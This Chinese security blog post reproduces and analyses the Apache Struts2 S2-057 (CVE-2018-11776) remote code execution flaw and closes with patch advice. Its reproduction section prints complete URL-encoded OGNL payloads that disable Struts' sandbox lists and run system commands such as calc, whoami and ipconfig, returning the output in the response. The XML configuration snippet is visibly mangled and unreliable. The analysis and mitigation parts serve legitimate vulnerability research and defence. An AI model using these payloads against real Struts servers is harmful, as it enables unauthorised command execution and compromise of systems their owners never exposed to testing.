近日,struts2又双叒叕爆出远程代码执行高危漏洞s2-057,圈内大牛公布了POC,今天我们来对漏洞利用复现及原理分析进行简单的分析。
一、事件分析
2018年8月22日,ApacheStrust2发布最新安全公告,Apache Struts2存在远程代码执行的高危漏洞(CVE-2018-11776),该漏洞由Semmle Security Researchteam的安全研究员Man YueMo发现。
在Struts2开发框架中使用namespace功能定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行。
url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行。
漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-057
二、影响范围
Struts 2.3 – Struts 2.3.34
Struts 2.5 – Struts 2.5.16
其余版本也可能会受到影响
三、攻击过程概述
环境信息
操作系统:Windows 10中间件:Apache tomcat 7.0.81Web框架:Apache struts2 2.3.34下载地址:
https://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip
漏洞复现
1)此次漏洞触的发最小利用条件
1.设置alwaysSelectFullNamespace值为true
这个配置的目的是设定是否一直在最后一个斜线之前的任何位置选定NameSpace。
修改showcase\WEB-INF\lib\struts2-core-2.3.34.jar 库中的
org/apache/struts2/default.properties 设置 struts.mapper.alwaysSelectFullNamespace 属性为 true
2.修改struts-actionchaining.xml配置
result标签返回的类型选择“redirectAction”或“ chain” , 只有这两个配置选项的值是可以将action转发或者重定向。
修改WEB-INF/src/java/struts-actionchaining.xml和WEB-INF/classes/struts-actionchaining.xml文件为:
/p>
"-//Apache SoftwareFoundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<package>name="actionchaining"extends="struts-default">/<package>
<action>name="actionChain1"class="org.apache.struts2.showcase.actionchaining.ActionChain1">/<action>
<result>type="redirectAction">/<result>
<param>name="actionName">register2
2)OGNL表达式注入导致数值计算
数值计算相对最简单,在URL上指定 %{100+200} 就可以发生跳转,得到计算的结果
URL:http://127.0.0.1:8080/struts2_2_3_34_showcase/${100+100}/actionChain1.action
url变为:
http://127.0.0.1:8080/struts2_2_3_34_showcase/200/register2.action
100+100=200即产生了OGNL注入。
3)弹出计算器
可以将${(100+100}替换成弹出计算器的POC
2.3.34 版本的poc:
%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D@java.lang.Runtime@getRuntime%28%29.exec%28%22calc%22%29%29%7D//actionChain1.action
构造后的URL:
http://127.0.0.1:8080/struts2_2_3_34_showcase//%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D@java.lang.Runtime@getRuntime%28%29.exec%28%22calc%22%29%29%7D//actionChain1.action
4)带回显的命令执行
利用
com.opensymphony.xwork2.dispatcher.HttpServletResponse
对象去打印命令执行后的回显数据
2.3.34 版本的poc:
/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action
构造后的URL:
http://127.0.0.1:8080/struts2_2_3_34_showcase///%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ipconfig%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action
打印windowsip 信息 (ps: 由于操作系统语言及编码问题,中文在浏览器中会显示为?)
漏洞分析
漏洞位于struts2-core.jar!/org/apache/struts2/dispatcher/ServletActionRedirectResult.class
This.namespace这个成员的值来自于getNamespace()方法,再通过getUriFromActionMapping()返回URI字符串;
通过getUriFromActionMapping获取的值赋给了tmpLocation变量,接着表达式进入setLocation方法
再通过super.execute方法调用了ServletActionResult ,而在execute方法体内跟进了conditionalParse方法,在这个方法内调用了ONGL执行的关键方法translateVariables。
获得的param值传入到translateVariables()方法内,最终在OnglTextPaser里导致了OGNL表达式执行
四、安全防护建议
官方解决方案:
升级至版本2.3.35或2.5.17。这两个版本仅仅只是更新了安全补丁,不存在兼容性问题。
临时解决方案:
推荐用户及时更新,但如果不想更新,可暂时使用官方提供的临时解决方案:当上层动作配置中未设置或使用通配符namespace时,验证所有XML配置中的namespace,同时在JSP中验证所有url标签的value和action。
参考链接:
https://cwiki.apache.org/confluence/display/WW/S2-057
https://lgtm.com/blog/apache_struts_CVE-2018-11776
https://xz.aliyun.com/t/2618
https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg
https://www.anquanke.com/post/id/157823